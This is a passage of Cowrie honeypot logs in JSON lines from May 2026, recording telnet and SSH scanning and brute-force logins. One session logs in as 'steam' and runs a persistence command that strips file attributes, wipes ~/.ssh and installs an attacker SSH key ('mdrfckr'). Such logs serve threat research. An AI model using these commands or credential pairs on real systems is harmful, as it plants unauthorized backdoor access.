af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:57.610253Z","src_ip":"189.194.140.170","session":"f5f6534b0d83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":59224,"dst_ip":"159.203.135.109","dst_port":23,"session":"692ba7d2cf7b","protocol":"telnet","message":"New connection: 142.93.2.99:59224 (159.203.135.109:23) [session: 692ba7d2cf7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:57.761435Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd2026","message":"login attempt [root/Passw0rd2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:57.981317Z","src_ip":"189.194.140.170","session":"f5f6534b0d83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.56138014793396,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:58.273229Z","src_ip":"142.93.2.99","session":"e74b7833c6fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:59.079188Z","src_ip":"189.194.140.170","session":"f5f6534b0d83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.51427173614502,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:06:00.038782Z","src_ip":"142.93.2.99","session":"b86dde5f75ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.194520711898804,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:06:00.603838Z","src_ip":"142.93.2.99","session":"3dfa2ce7a69e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.302587032318115,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:06:01.096514Z","src_ip":"142.93.2.99","session":"50039917cf73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":34580,"dst_ip":"159.203.135.109","dst_port":23,"session":"a68691e7617e","protocol":"telnet","message":"New connection: 142.93.2.99:34580 (159.203.135.109:23) [session: a68691e7617e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:06:01.231110Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":37612,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d8846edb2bf","protocol":"telnet","message":"New connection: 142.93.2.99:37612 (159.203.135.109:23) [session: 5d8846edb2bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:06:05.449290Z"}
{"eventid":"cowrie.session.closed","duration":33.51445770263672,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:06:05.587083Z","src_ip":"142.93.2.99","session":"95253874b384","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.84330224990845,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:06:07.682945Z","src_ip":"142.93.2.99","session":"69de96ac1249","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.907296657562256,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:06:09.056712Z","src_ip":"142.93.2.99","session":"780e7f335fc7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":53318,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a073ebd6424","protocol":"telnet","message":"New connection: 104.245.105.2:53318 (10.17.0.5:23) [session: 9a073ebd6424]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:06:16.985131Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":48338,"dst_ip":"159.203.135.109","dst_port":23,"session":"fcc12634bd1e","protocol":"telnet","message":"New connection: 142.93.2.99:48338 (159.203.135.109:23) [session: fcc12634bd1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:06:19.184819Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":51188,"dst_ip":"159.203.135.109","dst_port":23,"session":"8be6f911c04a","protocol":"telnet","message":"New connection: 142.93.2.99:51188 (159.203.135.109:23) [session: 8be6f911c04a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:06:22.968970Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.168","src_port":50720,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb609fe60f40","protocol":"ssh","message":"New connection: 80.94.92.168:50720 (159.203.135.109:22) [session: eb609fe60f40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:06:23.124291Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:06:23.234904Z","src_ip":"80.94.92.168","session":"eb609fe60f40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.98332500457764,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:06:24.265484Z","src_ip":"142.93.2.99","session":"3091f7887f07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.90.185.16","src_port":65105,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc6f313c0b75","protocol":"ssh","message":"New connection: 77.90.185.16:65105 (10.17.0.5:22) [session: cc6f313c0b75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:06:26.151893Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:06:26.261126Z","src_ip":"77.90.185.16","session":"cc6f313c0b75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.47109937667847,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:06:30.232426Z","src_ip":"142.93.2.99","session":"692ba7d2cf7b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":57182,"dst_ip":"159.203.135.109","dst_port":23,"session":"eeaad6513329","protocol":"telnet","message":"New connection: 142.93.2.99:57182 (159.203.135.109:23) [session: eeaad6513329]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:06:30.243678Z"}
{"eventid":"cowrie.session.closed","duration":33.66643476486206,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:06:34.897419Z","src_ip":"142.93.2.99","session":"a68691e7617e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":35000,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f248958e699","protocol":"telnet","message":"New connection: 142.93.2.99:35000 (159.203.135.109:23) [session: 7f248958e699]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:06:37.911017Z"}
{"eventid":"cowrie.session.closed","duration":33.59601974487305,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:06:39.045155Z","src_ip":"142.93.2.99","session":"5d8846edb2bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":40478,"dst_ip":"159.203.135.109","dst_port":23,"session":"96937b0afae5","protocol":"telnet","message":"New connection: 142.93.2.99:40478 (159.203.135.109:23) [session: 96937b0afae5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:06:47.741679Z"}
{"eventid":"cowrie.session.closed","duration":31.704689502716064,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:06:48.689696Z","src_ip":"104.245.105.2","session":"9a073ebd6424","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"189.194.140.170","src_port":36942,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7b71bc144d9","protocol":"ssh","message":"New connection: 189.194.140.170:36942 (159.203.135.109:22) [session: e7b71bc144d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:06:50.843838Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:06:50.850161Z","src_ip":"189.194.140.170","session":"e7b71bc144d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:06:50.947057Z","src_ip":"189.194.140.170","session":"e7b71bc144d9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"maets","message":"login attempt [steam/maets] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:06:51.323201Z","src_ip":"189.194.140.170","session":"e7b71bc144d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":43660,"dst_ip":"159.203.135.109","dst_port":23,"session":"5897b97a9801","protocol":"telnet","message":"New connection: 142.93.2.99:43660 (159.203.135.109:23) [session: 5897b97a9801]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:06:51.393613Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:06:51.556899Z","src_ip":"189.194.140.170","session":"e7b71bc144d9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:06:51.560087Z","src_ip":"189.194.140.170","session":"e7b71bc144d9","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:06:51.563598Z","src_ip":"189.194.140.170","session":"e7b71bc144d9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:06:51.665540Z","src_ip":"189.194.140.170","session":"e7b71bc144d9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:06:51.894876Z","src_ip":"189.194.140.170","session":"e7b71bc144d9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:06:51.898546Z","src_ip":"189.194.140.170","session":"e7b71bc144d9","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:06:52.000838Z","src_ip":"189.194.140.170","session":"e7b71bc144d9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:06:52.005285Z","src_ip":"189.194.140.170","session":"e7b71bc144d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.194.140.170","src_port":37348,"dst_ip":"159.203.135.109","dst_port":22,"session":"09f0423679a3","protocol":"ssh","message":"New connection: 189.194.140.170:37348 (159.203.135.109:22) [session: 09f0423679a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:06:52.086256Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:06:52.091693Z","src_ip":"189.194.140.170","session":"09f0423679a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:06:52.193701Z","src_ip":"189.194.140.170","session":"09f0423679a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":47114,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a81ca73d76e","protocol":"telnet","message":"New connection: 142.93.2.99:47114 (159.203.135.109:23) [session: 2a81ca73d76e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:06:52.301776Z"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:06:52.607695Z","src_ip":"189.194.140.170","session":"09f0423679a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.484970569610596,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:06:53.669673Z","src_ip":"142.93.2.99","session":"fcc12634bd1e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:06:53.713267Z","src_ip":"189.194.140.170","session":"09f0423679a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.194.140.170","src_port":38014,"dst_ip":"159.203.135.109","dst_port":22,"session":"095faf49a914","protocol":"ssh","message":"New connection: 189.194.140.170:38014 (159.203.135.109:22) [session: 095faf49a914]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:06:53.787513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:06:53.792811Z","src_ip":"189.194.140.170","session":"095faf49a914","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:06:53.890553Z","src_ip":"189.194.140.170","session":"095faf49a914","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:06:54.314795Z","src_ip":"189.194.140.170","session":"095faf49a914","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:06:54.408917Z","src_ip":"189.194.140.170","session":"e7b71bc144d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:06:54.414350Z","src_ip":"189.194.140.170","session":"095faf49a914","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.54900074005127,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:06:55.517848Z","src_ip":"142.93.2.99","session":"8be6f911c04a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":48138,"dst_ip":"159.203.135.109","dst_port":23,"session":"19c28083ccbd","protocol":"telnet","message":"New connection: 142.93.2.99:48138 (159.203.135.109:23) [session: 19c28083ccbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:06:56.445598Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":55472,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5cfbcfb46a7","protocol":"telnet","message":"New connection: 142.93.2.99:55472 (159.203.135.109:23) [session: f5cfbcfb46a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:07:02.280811Z"}
{"eventid":"cowrie.session.closed","duration":34.11923408508301,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:07:04.362812Z","src_ip":"142.93.2.99","session":"eeaad6513329","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":55574,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c8a1ae14602","protocol":"telnet","message":"New connection: 142.93.2.99:55574 (159.203.135.109:23) [session: 1c8a1ae14602]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:07:05.417683Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":58424,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8ce5247e3c5","protocol":"telnet","message":"New connection: 142.93.2.99:58424 (159.203.135.109:23) [session: b8ce5247e3c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:07:06.761778Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":60952,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f3b5f17205d","protocol":"telnet","message":"New connection: 142.93.2.99:60952 (159.203.135.109:23) [session: 5f3b5f17205d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:07:08.592814Z"}
